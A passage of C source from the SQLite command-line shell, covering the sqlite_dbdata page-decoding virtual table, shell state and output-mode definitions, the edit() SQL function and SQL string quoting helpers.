sqlite3_free(pCsr->pRec);
pCsr->pRec = 0;
pCsr->aPage = 0;
}
/*
** Close an sqlite_dbdata or sqlite_dbptr cursor.
*/
static int dbdataClose(sqlite3_vtab_cursor *pCursor){
DbdataCursor *pCsr = (DbdataCursor*)pCursor;
dbdataResetCursor(pCsr);
sqlite3_free(pCsr);
return SQLITE_OK;
}
/*
** Utility methods to decode 16 and 32-bit big-endian unsigned integers.
*/
static unsigned int get_uint16(unsigned char *a){
return (a[0]<<8)|a[1];
}
static unsigned int get_uint32(unsigned char *a){
return ((unsigned int)a[0]<<24)
| ((unsigned int)a[1]<<16)
| ((unsigned int)a[2]<<8)
| ((unsigned int)a[3]);
}
/*
** Load page pgno from the database via the sqlite_dbpage virtual table.
** If successful, set (*ppPage) to point to a buffer containing the page
** data, (*pnPage) to the size of that buffer in bytes and return
** SQLITE_OK. In this case it is the responsibility of the caller to
** eventually free the buffer using sqlite3_free().
**
** Or, if an error occurs, set both (*ppPage) and (*pnPage) to 0 and
** return an SQLite error code.
*/
static int dbdataLoadPage(
DbdataCursor *pCsr, /* Cursor object */
unsigned int pgno, /* Page number of page to load */
u8 **ppPage, /* OUT: pointer to page buffer */
int *pnPage /* OUT: Size of (*ppPage) in bytes */
){
int rc2;
int rc = SQLITE_OK;
sqlite3_stmt *pStmt = pCsr->pStmt;
*ppPage = 0;
*pnPage = 0;
sqlite3_bind_int64(pStmt, 2, pgno);
if( SQLITE_ROW==sqlite3_step(pStmt) ){
int nCopy = sqlite3_column_bytes(pStmt, 0);
if( nCopy>0 ){
u8 *pPage;
pPage = (u8*)sqlite3_malloc64(nCopy + DBDATA_PADDING_BYTES);
if( pPage==0 ){
rc = SQLITE_NOMEM;
}else{
const u8 *pCopy = sqlite3_column_blob(pStmt, 0);
memcpy(pPage, pCopy, nCopy);
memset(&pPage[nCopy], 0, DBDATA_PADDING_BYTES);
}
*ppPage = pPage;
*pnPage = nCopy;
}
}
rc2 = sqlite3_reset(pStmt);
if( rc==SQLITE_OK ) rc = rc2;
return rc;
}
/*
** Read a varint. Put the value in *pVal and return the number of bytes.
*/
static int dbdataGetVarint(const u8 *z, sqlite3_int64 *pVal){
sqlite3_int64 v = 0;
int i;
for(i=0; i<8; i++){
v = (v<<7) + (z[i]&0x7f);
if( (z[i]&0x80)==0 ){ *pVal = v; return i+1; }
}
v = (v<<8) + (z[i]&0xff);
*pVal = v;
return 9;
}
/*
** Return the number of bytes of space used by an SQLite value of type
** eType.
*/
static int dbdataValueBytes(int eType){
switch( eType ){
case 0: case 8: case 9:
case 10: case 11:
return 0;
case 1:
return 1;
case 2:
return 2;
case 3:
return 3;
case 4:
return 4;
case 5:
return 6;
case 6:
case 7:
return 8;
default:
if( eType>0 ){
return ((eType-12) / 2);
}
return 0;
}
}
/*
** Load a value of type eType from buffer pData and use it to set the
** result of context object pCtx.
*/
static void dbdataValue(
sqlite3_context *pCtx,
int eType,
u8 *pData,
int nData
){
if( eType>=0 && dbdataValueBytes(eType)<=nData ){
switch( eType ){
case 0:
case 10:
case 11:
sqlite3_result_null(pCtx);
break;
case 8:
sqlite3_result_int(pCtx, 0);
break;
case 9:
sqlite3_result_int(pCtx, 1);
break;
case 1: case 2: case 3: case 4: case 5: case 6: case 7: {
sqlite3_uint64 v = (signed char)pData[0];
pData++;
switch( eType ){
case 7:
case 6: v = (v<<16) + (pData[0]<<8) + pData[1]; pData += 2;
case 5: v = (v<<16) + (pData[0]<<8) + pData[1]; pData += 2;
case 4: v = (v<<8) + pData[0]; pData++;
case 3: v = (v<<8) + pData[0]; pData++;
case 2: v = (v<<8) + pData[0]; pData++;
}
if( eType==7 ){
double r;
memcpy(&r, &v, sizeof(r));
sqlite3_result_double(pCtx, r);
}else{
sqlite3_result_int64(pCtx, (sqlite3_int64)v);
}
break;
}
default: {
int n = ((eType-12) / 2);
if( eType % 2 ){
sqlite3_result_text(pCtx, (const char*)pData, n, SQLITE_TRANSIENT);
}else{
sqlite3_result_blob(pCtx, pData, n, SQLITE_TRANSIENT);
}
}
}
}
}
/*
** Move an sqlite_dbdata or sqlite_dbptr cursor to the next entry.
*/
static int dbdataNext(sqlite3_vtab_cursor *pCursor){
DbdataCursor *pCsr = (DbdataCursor*)pCursor;
DbdataTable *pTab = (DbdataTable*)pCursor->pVtab;
pCsr->iRowid++;
while( 1 ){
int rc;
int iOff = (pCsr->iPgno==1 ? 100 : 0);
int bNextPage = 0;
if( pCsr->aPage==0 ){
while( 1 ){
if( pCsr->bOnePage==0 && pCsr->iPgno>pCsr->szDb ) return SQLITE_OK;
rc = dbdataLoadPage(pCsr, pCsr->iPgno, &pCsr->aPage, &pCsr->nPage);
if( rc!=SQLITE_OK ) return rc;
if( pCsr->aPage ) break;
pCsr->iPgno++;
}
pCsr->iCell = pTab->bPtr ? -2 : 0;
pCsr->nCell = get_uint16(&pCsr->aPage[iOff+3]);
}
if( pTab->bPtr ){
if( pCsr->aPage[iOff]!=0x02 && pCsr->aPage[iOff]!=0x05 ){
pCsr->iCell = pCsr->nCell;
}
pCsr->iCell++;
if( pCsr->iCell>=pCsr->nCell ){
sqlite3_free(pCsr->aPage);
pCsr->aPage = 0;
if( pCsr->bOnePage ) return SQLITE_OK;
pCsr->iPgno++;
}else{
return SQLITE_OK;
}
}else{
/* If there is no record loaded, load it now. */
if( pCsr->pRec==0 ){
int bHasRowid = 0;
int nPointer = 0;
sqlite3_int64 nPayload = 0;
sqlite3_int64 nHdr = 0;
int iHdr;
int U, X;
int nLocal;
switch( pCsr->aPage[iOff] ){
case 0x02:
nPointer = 4;
break;
case 0x0a:
break;
case 0x0d:
bHasRowid = 1;
break;
default:
/* This is not a b-tree page with records on it. Continue. */
pCsr->iCell = pCsr->nCell;
break;
}
if( pCsr->iCell>=pCsr->nCell ){
bNextPage = 1;
}else{
iOff += 8 + nPointer + pCsr->iCell*2;
if( iOff>pCsr->nPage ){
bNextPage = 1;
}else{
iOff = get_uint16(&pCsr->aPage[iOff]);
}
/* For an interior node cell, skip past the child-page number */
iOff += nPointer;
/* Load the "byte of payload including overflow" field */
if( bNextPage || iOff>pCsr->nPage ){
bNextPage = 1;
}else{
iOff += dbdataGetVarint(&pCsr->aPage[iOff], &nPayload);
}
/* If this is a leaf intkey cell, load the rowid */
if( bHasRowid && !bNextPage && iOff<pCsr->nPage ){
iOff += dbdataGetVarint(&pCsr->aPage[iOff], &pCsr->iIntkey);
}
/* Figure out how much data to read from the local page */
U = pCsr->nPage;
if( bHasRowid ){
X = U-35;
}else{
X = ((U-12)*64/255)-23;
}
if( nPayload<=X ){
nLocal = nPayload;
}else{
int M, K;
M = ((U-12)*32/255)-23;
K = M+((nPayload-M)%(U-4));
if( K<=X ){
nLocal = K;
}else{
nLocal = M;
}
}
if( bNextPage || nLocal+iOff>pCsr->nPage ){
bNextPage = 1;
}else{
/* Allocate space for payload. And a bit more to catch small buffer
** overruns caused by attempting to read a varint or similar from
** near the end of a corrupt record. */
pCsr->pRec = (u8*)sqlite3_malloc64(nPayload+DBDATA_PADDING_BYTES);
if( pCsr->pRec==0 ) return SQLITE_NOMEM;
memset(pCsr->pRec, 0, nPayload+DBDATA_PADDING_BYTES);
pCsr->nRec = nPayload;
/* Load the nLocal bytes of payload */
memcpy(pCsr->pRec, &pCsr->aPage[iOff], nLocal);
iOff += nLocal;
/* Load content from overflow pages */
if( nPayload>nLocal ){
sqlite3_int64 nRem = nPayload - nLocal;
unsigned int pgnoOvfl = get_uint32(&pCsr->aPage[iOff]);
while( nRem>0 ){
u8 *aOvfl = 0;
int nOvfl = 0;
int nCopy;
rc = dbdataLoadPage(pCsr, pgnoOvfl, &aOvfl, &nOvfl);
assert( rc!=SQLITE_OK || aOvfl==0 || nOvfl==pCsr->nPage );
if( rc!=SQLITE_OK ) return rc;
if( aOvfl==0 ) break;
nCopy = U-4;
if( nCopy>nRem ) nCopy = nRem;
memcpy(&pCsr->pRec[nPayload-nRem], &aOvfl[4], nCopy);
nRem -= nCopy;
pgnoOvfl = get_uint32(aOvfl);
sqlite3_free(aOvfl);
}
}
iHdr = dbdataGetVarint(pCsr->pRec, &nHdr);
pCsr->nHdr = nHdr;
pCsr->pHdrPtr = &pCsr->pRec[iHdr];
pCsr->pPtr = &pCsr->pRec[pCsr->nHdr];
pCsr->iField = (bHasRowid ? -1 : 0);
}
}
}else{
pCsr->iField++;
if( pCsr->iField>0 ){
sqlite3_int64 iType;
if( pCsr->pHdrPtr>&pCsr->pRec[pCsr->nRec] ){
bNextPage = 1;
}else{
pCsr->pHdrPtr += dbdataGetVarint(pCsr->pHdrPtr, &iType);
pCsr->pPtr += dbdataValueBytes(iType);
}
}
}
if( bNextPage ){
sqlite3_free(pCsr->aPage);
sqlite3_free(pCsr->pRec);
pCsr->aPage = 0;
pCsr->pRec = 0;
if( pCsr->bOnePage ) return SQLITE_OK;
pCsr->iPgno++;
}else{
if( pCsr->iField<0 || pCsr->pHdrPtr<&pCsr->pRec[pCsr->nHdr] ){
return SQLITE_OK;
}
/* Advance to the next cell. The next iteration of the loop will load
** the record and so on. */
sqlite3_free(pCsr->pRec);
pCsr->pRec = 0;
pCsr->iCell++;
}
}
}
assert( !"can't get here" );
return SQLITE_OK;
}
/*
** Return true if the cursor is at EOF.
*/
static int dbdataEof(sqlite3_vtab_cursor *pCursor){
DbdataCursor *pCsr = (DbdataCursor*)pCursor;
return pCsr->aPage==0;
}
/*
** Determine the size in pages of database zSchema (where zSchema is
** "main", "temp" or the name of an attached database) and set
** pCsr->szDb accordingly. If successful, return SQLITE_OK. Otherwise,
** an SQLite error code.
*/
static int dbdataDbsize(DbdataCursor *pCsr, const char *zSchema){
DbdataTable *pTab = (DbdataTable*)pCsr->base.pVtab;
char *zSql = 0;
int rc, rc2;
sqlite3_stmt *pStmt = 0;
zSql = sqlite3_mprintf("PRAGMA %Q.page_count", zSchema);
if( zSql==0 ) return SQLITE_NOMEM;
rc = sqlite3_prepare_v2(pTab->db, zSql, -1, &pStmt, 0);
sqlite3_free(zSql);
if( rc==SQLITE_OK && sqlite3_step(pStmt)==SQLITE_ROW ){
pCsr->szDb = sqlite3_column_int(pStmt, 0);
}
rc2 = sqlite3_finalize(pStmt);
if( rc==SQLITE_OK ) rc = rc2;
return rc;
}
/*
** xFilter method for sqlite_dbdata and sqlite_dbptr.
*/
static int dbdataFilter(
sqlite3_vtab_cursor *pCursor,
int idxNum, const char *idxStr,
int argc, sqlite3_value **argv
){
DbdataCursor *pCsr = (DbdataCursor*)pCursor;
DbdataTable *pTab = (DbdataTable*)pCursor->pVtab;
int rc = SQLITE_OK;
const char *zSchema = "main";
dbdataResetCursor(pCsr);
assert( pCsr->iPgno==1 );
if( idxNum & 0x01 ){
zSchema = (const char*)sqlite3_value_text(argv[0]);
}
if( idxNum & 0x02 ){
pCsr->iPgno = sqlite3_value_int(argv[(idxNum & 0x01)]);
pCsr->bOnePage = 1;
}else{
pCsr->nPage = dbdataDbsize(pCsr, zSchema);
rc = dbdataDbsize(pCsr, zSchema);
}
if( rc==SQLITE_OK ){
if( pTab->pStmt ){
pCsr->pStmt = pTab->pStmt;
pTab->pStmt = 0;
}else{
rc = sqlite3_prepare_v2(pTab->db,
"SELECT data FROM sqlite_dbpage(?) WHERE pgno=?", -1,
&pCsr->pStmt, 0
);
}
}
if( rc==SQLITE_OK ){
rc = sqlite3_bind_text(pCsr->pStmt, 1, zSchema, -1, SQLITE_TRANSIENT);
}else{
pTab->base.zErrMsg = sqlite3_mprintf("%s", sqlite3_errmsg(pTab->db));
}
if( rc==SQLITE_OK ){
rc = dbdataNext(pCursor);
}
return rc;
}
/*
** Return a column for the sqlite_dbdata or sqlite_dbptr table.
*/
static int dbdataColumn(
sqlite3_vtab_cursor *pCursor,
sqlite3_context *ctx,
int i
){
DbdataCursor *pCsr = (DbdataCursor*)pCursor;
DbdataTable *pTab = (DbdataTable*)pCursor->pVtab;
if( pTab->bPtr ){
switch( i ){
case DBPTR_COLUMN_PGNO:
sqlite3_result_int64(ctx, pCsr->iPgno);
break;
case DBPTR_COLUMN_CHILD: {
int iOff = pCsr->iPgno==1 ? 100 : 0;
if( pCsr->iCell<0 ){
iOff += 8;
}else{
iOff += 12 + pCsr->iCell*2;
if( iOff>pCsr->nPage ) return SQLITE_OK;
iOff = get_uint16(&pCsr->aPage[iOff]);
}
if( iOff<=pCsr->nPage ){
sqlite3_result_int64(ctx, get_uint32(&pCsr->aPage[iOff]));
}
break;
}
}
}else{
switch( i ){
case DBDATA_COLUMN_PGNO:
sqlite3_result_int64(ctx, pCsr->iPgno);
break;
case DBDATA_COLUMN_CELL:
sqlite3_result_int(ctx, pCsr->iCell);
break;
case DBDATA_COLUMN_FIELD:
sqlite3_result_int(ctx, pCsr->iField);
break;
case DBDATA_COLUMN_VALUE: {
if( pCsr->iField<0 ){
sqlite3_result_int64(ctx, pCsr->iIntkey);
}else{
sqlite3_int64 iType;
dbdataGetVarint(pCsr->pHdrPtr, &iType);
dbdataValue(
ctx, iType, pCsr->pPtr, &pCsr->pRec[pCsr->nRec] - pCsr->pPtr
);
}
break;
}
}
}
return SQLITE_OK;
}
/*
** Return the rowid for an sqlite_dbdata or sqlite_dptr table.
*/
static int dbdataRowid(sqlite3_vtab_cursor *pCursor, sqlite_int64 *pRowid){
DbdataCursor *pCsr = (DbdataCursor*)pCursor;
*pRowid = pCsr->iRowid;
return SQLITE_OK;
}
/*
** Invoke this routine to register the "sqlite_dbdata" virtual table module
*/
static int sqlite3DbdataRegister(sqlite3 *db){
static sqlite3_module dbdata_module = {
0, /* iVersion */
0, /* xCreate */
dbdataConnect, /* xConnect */
dbdataBestIndex, /* xBestIndex */
dbdataDisconnect, /* xDisconnect */
0, /* xDestroy */
dbdataOpen, /* xOpen - open a cursor */
dbdataClose, /* xClose - close a cursor */
dbdataFilter, /* xFilter - configure scan constraints */
dbdataNext, /* xNext - advance a cursor */
dbdataEof, /* xEof - check for end of scan */
dbdataColumn, /* xColumn - read data */
dbdataRowid, /* xRowid - read data */
0, /* xUpdate */
0, /* xBegin */
0, /* xSync */
0, /* xCommit */
0, /* xRollback */
0, /* xFindMethod */
0, /* xRename */
0, /* xSavepoint */
0, /* xRelease */
0, /* xRollbackTo */
0 /* xShadowName */
};
int rc = sqlite3_create_module(db, "sqlite_dbdata", &dbdata_module, 0);
if( rc==SQLITE_OK ){
rc = sqlite3_create_module(db, "sqlite_dbptr", &dbdata_module, (void*)1);
}
return rc;
}
#ifdef _WIN32
#endif
int sqlite3_dbdata_init(
sqlite3 *db,
char **pzErrMsg,
const sqlite3_api_routines *pApi
){
SQLITE_EXTENSION_INIT2(pApi);
return sqlite3DbdataRegister(db);
}
/************************* End ../ext/misc/dbdata.c ********************/
#endif
#if defined(SQLITE_ENABLE_SESSION)
/*
** State information for a single open session
*/
typedef struct OpenSession OpenSession;
struct OpenSession {
char *zName; /* Symbolic name for this session */
int nFilter; /* Number of xFilter rejection GLOB patterns */
char **azFilter; /* Array of xFilter rejection GLOB patterns */
sqlite3_session *p; /* The open session */
};
#endif
typedef struct ExpertInfo ExpertInfo;
struct ExpertInfo {
sqlite3expert *pExpert;
int bVerbose;
};
/* A single line in the EQP output */
typedef struct EQPGraphRow EQPGraphRow;
struct EQPGraphRow {
int iEqpId; /* ID for this row */
int iParentId; /* ID of the parent row */
EQPGraphRow *pNext; /* Next row in sequence */
char zText[1]; /* Text to display for this row */
};
/* All EQP output is collected into an instance of the following */
typedef struct EQPGraph EQPGraph;
struct EQPGraph {
EQPGraphRow *pRow; /* Linked list of all rows of the EQP output */
EQPGraphRow *pLast; /* Last element of the pRow list */
char zPrefix[100]; /* Graph prefix */
};
/*
** State information about the database connection is contained in an
** instance of the following structure.
*/
typedef struct ShellState ShellState;
struct ShellState {
sqlite3 *db; /* The database */
u8 autoExplain; /* Automatically turn on .explain mode */
u8 autoEQP; /* Run EXPLAIN QUERY PLAN prior to seach SQL stmt */
u8 autoEQPtest; /* autoEQP is in test mode */
u8 autoEQPtrace; /* autoEQP is in trace mode */
u8 scanstatsOn; /* True to display scan stats before each finalize */
u8 openMode; /* SHELL_OPEN_NORMAL, _APPENDVFS, or _ZIPFILE */
u8 doXdgOpen; /* Invoke start/open/xdg-open in output_reset() */
u8 nEqpLevel; /* Depth of the EQP output graph */
u8 eTraceType; /* SHELL_TRACE_* value for type of trace */
unsigned statsOn; /* True to display memory stats before each finalize */
unsigned mEqpLines; /* Mask of veritical lines in the EQP output graph */
int outCount; /* Revert to stdout when reaching zero */
int cnt; /* Number of records displayed so far */
int lineno; /* Line number of last line read from in */
int openFlags; /* Additional flags to open. (SQLITE_OPEN_NOFOLLOW) */
FILE *in; /* Read commands from this stream */
FILE *out; /* Write results here */
FILE *traceOut; /* Output for sqlite3_trace() */
int nErr; /* Number of errors seen */
int mode; /* An output mode setting */
int modePrior; /* Saved mode */
int cMode; /* temporary output mode for the current query */
int normalMode; /* Output mode before ".explain on" */
int writableSchema; /* True if PRAGMA writable_schema=ON */
int showHeader; /* True to show column names in List or Column mode */
int nCheck; /* Number of ".check" commands run */
unsigned nProgress; /* Number of progress callbacks encountered */
unsigned mxProgress; /* Maximum progress callbacks before failing */
unsigned flgProgress; /* Flags for the progress callback */
unsigned shellFlgs; /* Various flags */
unsigned priorShFlgs; /* Saved copy of flags */
sqlite3_int64 szMax; /* --maxsize argument to .open */
char *zDestTable; /* Name of destination table when MODE_Insert */
char *zTempFile; /* Temporary file that might need deleting */
char zTestcase[30]; /* Name of current test case */
char colSeparator[20]; /* Column separator character for several modes */
char rowSeparator[20]; /* Row separator character for MODE_Ascii */
char colSepPrior[20]; /* Saved column separator */
char rowSepPrior[20]; /* Saved row separator */
int *colWidth; /* Requested width of each column in columnar modes */
int *actualWidth; /* Actual width of each column */
int nWidth; /* Number of slots in colWidth[] and actualWidth[] */
char nullValue[20]; /* The text to print when a NULL comes back from
** the database */
char outfile[FILENAME_MAX]; /* Filename for *out */
const char *zDbFilename; /* name of the database file */
char *zFreeOnClose; /* Filename to free when closing */
const char *zVfs; /* Name of VFS to use */
sqlite3_stmt *pStmt; /* Current statement if any. */
FILE *pLog; /* Write log output here */
int *aiIndent; /* Array of indents used in MODE_Explain */
int nIndent; /* Size of array aiIndent[] */
int iIndent; /* Index of current op in aiIndent[] */
EQPGraph sGraph; /* Information for the graphical EXPLAIN QUERY PLAN */
#if defined(SQLITE_ENABLE_SESSION)
int nSession; /* Number of active sessions */
OpenSession aSession[4]; /* Array of sessions. [0] is in focus. */
#endif
ExpertInfo expert; /* Valid if previous command was ".expert OPT..." */
};
/* Allowed values for ShellState.autoEQP
*/
#define AUTOEQP_off 0 /* Automatic EXPLAIN QUERY PLAN is off */
#define AUTOEQP_on 1 /* Automatic EQP is on */
#define AUTOEQP_trigger 2 /* On and also show plans for triggers */
#define AUTOEQP_full 3 /* Show full EXPLAIN */
/* Allowed values for ShellState.openMode
*/
#define SHELL_OPEN_UNSPEC 0 /* No open-mode specified */
#define SHELL_OPEN_NORMAL 1 /* Normal database file */
#define SHELL_OPEN_APPENDVFS 2 /* Use appendvfs */
#define SHELL_OPEN_ZIPFILE 3 /* Use the zipfile virtual table */
#define SHELL_OPEN_READONLY 4 /* Open a normal database read-only */
#define SHELL_OPEN_DESERIALIZE 5 /* Open using sqlite3_deserialize() */
#define SHELL_OPEN_HEXDB 6 /* Use "dbtotxt" output as data source */
/* Allowed values for ShellState.eTraceType
*/
#define SHELL_TRACE_PLAIN 0 /* Show input SQL text */
#define SHELL_TRACE_EXPANDED 1 /* Show expanded SQL text */
#define SHELL_TRACE_NORMALIZED 2 /* Show normalized SQL text */
/* Bits in the ShellState.flgProgress variable */
#define SHELL_PROGRESS_QUIET 0x01 /* Omit announcing every progress callback */
#define SHELL_PROGRESS_RESET 0x02 /* Reset the count when the progres
** callback limit is reached, and for each
** top-level SQL statement */
#define SHELL_PROGRESS_ONCE 0x04 /* Cancel the --limit after firing once */
/*
** These are the allowed shellFlgs values
*/
#define SHFLG_Pagecache 0x00000001 /* The --pagecache option is used */
#define SHFLG_Lookaside 0x00000002 /* Lookaside memory is used */
#define SHFLG_Backslash 0x00000004 /* The --backslash option is used */
#define SHFLG_PreserveRowid 0x00000008 /* .dump preserves rowid values */
#define SHFLG_Newlines 0x00000010 /* .dump --newline flag */
#define SHFLG_CountChanges 0x00000020 /* .changes setting */
#define SHFLG_Echo 0x00000040 /* .echo or --echo setting */
#define SHFLG_HeaderSet 0x00000080 /* .header has been used */
#define SHFLG_DumpDataOnly 0x00000100 /* .dump show data only */
#define SHFLG_DumpNoSys 0x00000200 /* .dump omits system tables */
/*
** Macros for testing and setting shellFlgs
*/
#define ShellHasFlag(P,X) (((P)->shellFlgs & (X))!=0)
#define ShellSetFlag(P,X) ((P)->shellFlgs|=(X))
#define ShellClearFlag(P,X) ((P)->shellFlgs&=(~(X)))
/*
** These are the allowed modes.
*/
#define MODE_Line 0 /* One column per line. Blank line between records */
#define MODE_Column 1 /* One record per line in neat columns */
#define MODE_List 2 /* One record per line with a separator */
#define MODE_Semi 3 /* Same as MODE_List but append ";" to each line */
#define MODE_Html 4 /* Generate an XHTML table */
#define MODE_Insert 5 /* Generate SQL "insert" statements */
#define MODE_Quote 6 /* Quote values as for SQL */
#define MODE_Tcl 7 /* Generate ANSI-C or TCL quoted elements */
#define MODE_Csv 8 /* Quote strings, numbers are plain */
#define MODE_Explain 9 /* Like MODE_Column, but do not truncate data */
#define MODE_Ascii 10 /* Use ASCII unit and record separators (0x1F/0x1E) */
#define MODE_Pretty 11 /* Pretty-print schemas */
#define MODE_EQP 12 /* Converts EXPLAIN QUERY PLAN output into a graph */
#define MODE_Json 13 /* Output JSON */
#define MODE_Markdown 14 /* Markdown formatting */
#define MODE_Table 15 /* MySQL-style table formatting */
#define MODE_Box 16 /* Unicode box-drawing characters */
static const char *modeDescr[] = {
"line",
"column",
"list",
"semi",
"html",
"insert",
"quote",
"tcl",
"csv",
"explain",
"ascii",
"prettyprint",
"eqp",
"json",
"markdown",
"table",
"box"
};
/*
** These are the column/row/line separators used by the various
** import/export modes.
*/
#define SEP_Column "|"
#define SEP_Row "\n"
#define SEP_Tab "\t"
#define SEP_Space " "
#define SEP_Comma ","
#define SEP_CrLf "\r\n"
#define SEP_Unit "\x1F"
#define SEP_Record "\x1E"
/*
** A callback for the sqlite3_log() interface.
*/
static void shellLog(void *pArg, int iErrCode, const char *zMsg){
ShellState *p = (ShellState*)pArg;
if( p->pLog==0 ) return;
utf8_printf(p->pLog, "(%d) %s\n", iErrCode, zMsg);
fflush(p->pLog);
}
/*
** SQL function: shell_putsnl(X)
**
** Write the text X to the screen (or whatever output is being directed)
** adding a newline at the end, and then return X.
*/
static void shellPutsFunc(
sqlite3_context *pCtx,
int nVal,
sqlite3_value **apVal
){
ShellState *p = (ShellState*)sqlite3_user_data(pCtx);
(void)nVal;
utf8_printf(p->out, "%s\n", sqlite3_value_text(apVal[0]));
sqlite3_result_value(pCtx, apVal[0]);
}
/*
** SQL function: edit(VALUE)
** edit(VALUE,EDITOR)
**
** These steps:
**
** (1) Write VALUE into a temporary file.
** (2) Run program EDITOR on that temporary file.
** (3) Read the temporary file back and return its content as the result.
** (4) Delete the temporary file
**
** If the EDITOR argument is omitted, use the value in the VISUAL
** environment variable. If still there is no EDITOR, through an error.
**
** Also throw an error if the EDITOR program returns a non-zero exit code.
*/
#ifndef SQLITE_NOHAVE_SYSTEM
static void editFunc(
sqlite3_context *context,
int argc,
sqlite3_value **argv
){
const char *zEditor;
char *zTempFile = 0;
sqlite3 *db;
char *zCmd = 0;
int bBin;
int rc;
int hasCRNL = 0;
FILE *f = 0;
sqlite3_int64 sz;
sqlite3_int64 x;
unsigned char *p = 0;
if( argc==2 ){
zEditor = (const char*)sqlite3_value_text(argv[1]);
}else{
zEditor = getenv("VISUAL");
}
if( zEditor==0 ){
sqlite3_result_error(context, "no editor for edit()", -1);
return;
}
if( sqlite3_value_type(argv[0])==SQLITE_NULL ){
sqlite3_result_error(context, "NULL input to edit()", -1);
return;
}
db = sqlite3_context_db_handle(context);
zTempFile = 0;
sqlite3_file_control(db, 0, SQLITE_FCNTL_TEMPFILENAME, &zTempFile);
if( zTempFile==0 ){
sqlite3_uint64 r = 0;
sqlite3_randomness(sizeof(r), &r);
zTempFile = sqlite3_mprintf("temp%llx", r);
if( zTempFile==0 ){
sqlite3_result_error_nomem(context);
return;
}
}
bBin = sqlite3_value_type(argv[0])==SQLITE_BLOB;
/* When writing the file to be edited, do \n to \r\n conversions on systems
** that want \r\n line endings */
f = fopen(zTempFile, bBin ? "wb" : "w");
if( f==0 ){
sqlite3_result_error(context, "edit() cannot open temp file", -1);
goto edit_func_end;
}
sz = sqlite3_value_bytes(argv[0]);
if( bBin ){
x = fwrite(sqlite3_value_blob(argv[0]), 1, (size_t)sz, f);
}else{
const char *z = (const char*)sqlite3_value_text(argv[0]);
/* Remember whether or not the value originally contained \r\n */
if( z && strstr(z,"\r\n")!=0 ) hasCRNL = 1;
x = fwrite(sqlite3_value_text(argv[0]), 1, (size_t)sz, f);
}
fclose(f);
f = 0;
if( x!=sz ){
sqlite3_result_error(context, "edit() could not write the whole file", -1);
goto edit_func_end;
}
zCmd = sqlite3_mprintf("%s \"%s\"", zEditor, zTempFile);
if( zCmd==0 ){
sqlite3_result_error_nomem(context);
goto edit_func_end;
}
rc = system(zCmd);
sqlite3_free(zCmd);
if( rc ){
sqlite3_result_error(context, "EDITOR returned non-zero", -1);
goto edit_func_end;
}
f = fopen(zTempFile, "rb");
if( f==0 ){
sqlite3_result_error(context,
"edit() cannot reopen temp file after edit", -1);
goto edit_func_end;
}
fseek(f, 0, SEEK_END);
sz = ftell(f);
rewind(f);
p = sqlite3_malloc64( sz+1 );
if( p==0 ){
sqlite3_result_error_nomem(context);
goto edit_func_end;
}
x = fread(p, 1, (size_t)sz, f);
fclose(f);
f = 0;
if( x!=sz ){
sqlite3_result_error(context, "could not read back the whole file", -1);
goto edit_func_end;
}
if( bBin ){
sqlite3_result_blob64(context, p, sz, sqlite3_free);
}else{
sqlite3_int64 i, j;
if( hasCRNL ){
/* If the original contains \r\n then do no conversions back to \n */
j = sz;
}else{
/* If the file did not originally contain \r\n then convert any new
** \r\n back into \n */
for(i=j=0; i<sz; i++){
if( p[i]=='\r' && p[i+1]=='\n' ) i++;
p[j++] = p[i];
}
sz = j;
p[sz] = 0;
}
sqlite3_result_text64(context, (const char*)p, sz,
sqlite3_free, SQLITE_UTF8);
}
p = 0;
edit_func_end:
if( f ) fclose(f);
unlink(zTempFile);
sqlite3_free(zTempFile);
sqlite3_free(p);
}
#endif /* SQLITE_NOHAVE_SYSTEM */
/*
** Save or restore the current output mode
*/
static void outputModePush(ShellState *p){
p->modePrior = p->mode;
p->priorShFlgs = p->shellFlgs;
memcpy(p->colSepPrior, p->colSeparator, sizeof(p->colSeparator));
memcpy(p->rowSepPrior, p->rowSeparator, sizeof(p->rowSeparator));
}
static void outputModePop(ShellState *p){
p->mode = p->modePrior;
p->shellFlgs = p->priorShFlgs;
memcpy(p->colSeparator, p->colSepPrior, sizeof(p->colSeparator));
memcpy(p->rowSeparator, p->rowSepPrior, sizeof(p->rowSeparator));
}
/*
** Output the given string as a hex-encoded blob (eg. X'1234' )
*/
static void output_hex_blob(FILE *out, const void *pBlob, int nBlob){
int i;
char *zBlob = (char *)pBlob;
raw_printf(out,"X'");
for(i=0; i<nBlob; i++){ raw_printf(out,"%02x",zBlob[i]&0xff); }
raw_printf(out,"'");
}
/*
** Find a string that is not found anywhere in z[]. Return a pointer
** to that string.
**
** Try to use zA and zB first. If both of those are already found in z[]
** then make up some string and store it in the buffer zBuf.
*/
static const char *unused_string(
const char *z, /* Result must not appear anywhere in z */
const char *zA, const char *zB, /* Try these first */
char *zBuf /* Space to store a generated string */
){
unsigned i = 0;
if( strstr(z, zA)==0 ) return zA;
if( strstr(z, zB)==0 ) return zB;
do{
sqlite3_snprintf(20,zBuf,"(%s%u)", zA, i++);
}while( strstr(z,zBuf)!=0 );
return zBuf;
}
/*
** Output the given string as a quoted string using SQL quoting conventions.
**
** See also: output_quoted_escaped_string()
*/
static void output_quoted_string(FILE *out, const char *z){
int i;
char c;
setBinaryMode(out, 1);
for(i=0; (c = z[i])!=0 && c!='\''; i++){}
if( c==0 ){
utf8_printf(out,"'%s'",z);
}else{
raw_printf(out, "'");
while( *z ){
for(i=0; (c = z[i])!=0 && c!='\''; i++){}
if( c=='\'' ) i++;
if( i ){
utf8_printf(out, "%.*s", i, z);
z += i;
}
if( c=='\'' ){
raw_printf(out, "'");
continue;
}
if( c==0 ){
break;
}
z++;
}
raw_printf(out, "'");
}
setTextMode(out, 1);
}
/*
** Output the given string as a quoted string using SQL quoting conventions.
** Additionallly , escape the "\n" and "\r" characters so that they do not
** get corrupted by end-of-line translation facilities in some operating
** systems.
**
** This is like output_quoted_string() but with the addition of the \r\n
** escape mechanism.
*/
static void output_quoted_escaped_string(FILE *out, const char *z){
int i;
char c;
setBinaryMode(out, 1);
for(i=0; (c = z[i])!=0 && c!='\'' && c!='\n' && c!='\r'; i++){}
if( c==0 ){
utf8_printf(out,"'%s'",z);
}else{
const char *zNL = 0;
const char *zCR = 0;
int nNL = 0;
int nCR = 0;
char zBuf1[20], zBuf2[20];
for(i=0; z[i]; i++){
if( z[i]=='\n' ) nNL++;
if( z[i]=='\r' ) nCR++;
}
if( nNL ){
raw_printf(out, "replace(");
zNL = unused_string(z, "\\n", "\\012", zBuf1);
}
if( nCR ){
raw_printf(out, "replace(");
zCR = unused_string(z, "\\r", "\\015", zBuf2);
}
raw_printf(out, "'");
while( *z ){
